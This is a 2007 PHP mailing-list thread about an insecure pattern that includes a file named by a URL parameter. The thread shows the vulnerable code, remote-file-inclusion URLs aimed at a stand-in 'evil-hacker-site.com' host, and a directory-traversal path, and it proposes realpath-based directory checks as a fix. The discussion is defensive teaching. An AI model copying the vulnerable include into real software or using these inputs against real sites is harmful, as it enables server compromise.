Instruct ICC wrote:
Date: Thu, 15 Nov 2007 13:16:46 +0000
From: stuttle@xxxxxxxxx
To: instructicc@xxxxxxxxxxx
CC: php-general@xxxxxxxxxxxxx
Subject: Re: file_exists
Instruct ICC wrote:
Date: Thu, 15 Nov 2007 00:20:52 +0000
From: stuttle@xxxxxxxxx
To: philthathril@xxxxxxxxx
CC: php-general@xxxxxxxxxxxxx
Subject: Re: file_exists
Philip Thompson wrote:
I've run into similar problems where I *thought* I was looking in the
correct location... but I wasn't. Take this for example....
$page = $_GET['page'];
if (file_exists ("$page.php")) {
include ("$page.php");
}
?>
I really hope this is not a piece of production code. If it is then you
might want to think very hard about what it's doing. If you still can't
see a problem let me know!
-Stut
--
http://stut.net/
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
Called like this?
index.php?page=http://evil-hacker-site.com/evil-payload.php
And the browser will probably url_encode for me if needed.
Actually in this example that would end up getting evil-payload.php.php
- probably not what your evil mind wanted. You could do this...
index.php?page=http://evil-hacker-site.com/evil-payload
...assuming you know it's gonna stick .php on the end. Alternatively you
could do this...
index.php?page=http://evil-hacker-site.com/evil-payload.php?
Resulting in the appended .php being in the querystring. The easiest way
to protect your code from this is to always always prefix the string
with something as well as appending to it. For example...
$page = dirname(__FILE__).'/'.$_GET['page'].'.php';
if (file_exists ($page)) {
include ($page);
}
But that doesn't prevent a malicious user including any PHP file on your
server. $_GET['page'] should be one of a known set of values. At the
very least it should be restricted to file in a particular directory.
Something like the following would be much better (untested)...
$page = realpath(dirname(__FILE__).'/inc/'.$_GET['page'].'.php');
$expecteddir = realpath(dirname(__FILE__).'/inc');
if (substr($page, 0, strlen($expecteddir)) != $expecteddir)
{
// Ideally return a 403 status here
die('Access denied');
}
// Now we know it's a file in the right directory
if (file_exists($page))
{
include($page);
}
else
{
// Return a 404 status here
die('Resource not found');
}
That should lock the requested page to the given directory. If anyone
can see any way around that I'd be interested in hearing about it.
-Stut
--
http://stut.net/
Good points about (.php, evil-payload, and evil-payload.php?).
Although I'll defer to a security expert, your modification looks good to not include a remote site's code.
But on a shared host, what about this?:
index.php?page=../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php
If that gives something like:
$expecteddir === "/home/stut/phpstuff/inc/../../../../../../../../../../../../home/evil-user-home-dir/evil-payload.php"
maybe it will include "/home/evil-user-home-dir/evil-payload.php"
Maybe a switch statement that only uses the file name supplied by the script (whether or not an unknown user supplies an actual file name. I just did something like that today. I have a custom "ls" type PHP script and I want it to search 1 of 2 directories only. I check if the GET var is set; don't even look at the value, then do a custom "ls" on 1 or the other directory which is in the web path. The whole site is behind htaccess though, but I added this layer for this special "ls" function.
No, you've missed the point. $expecteddir is a fixed variable that you,
the script author, specify. It does not contain anything coming from
external veriables. You then compare the full path you build from the
external variables to $expecteddir to verify that the file is in the
right directory.
I suggest you read the code I posted again.
-Stut
--
http://stut.net/
--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php
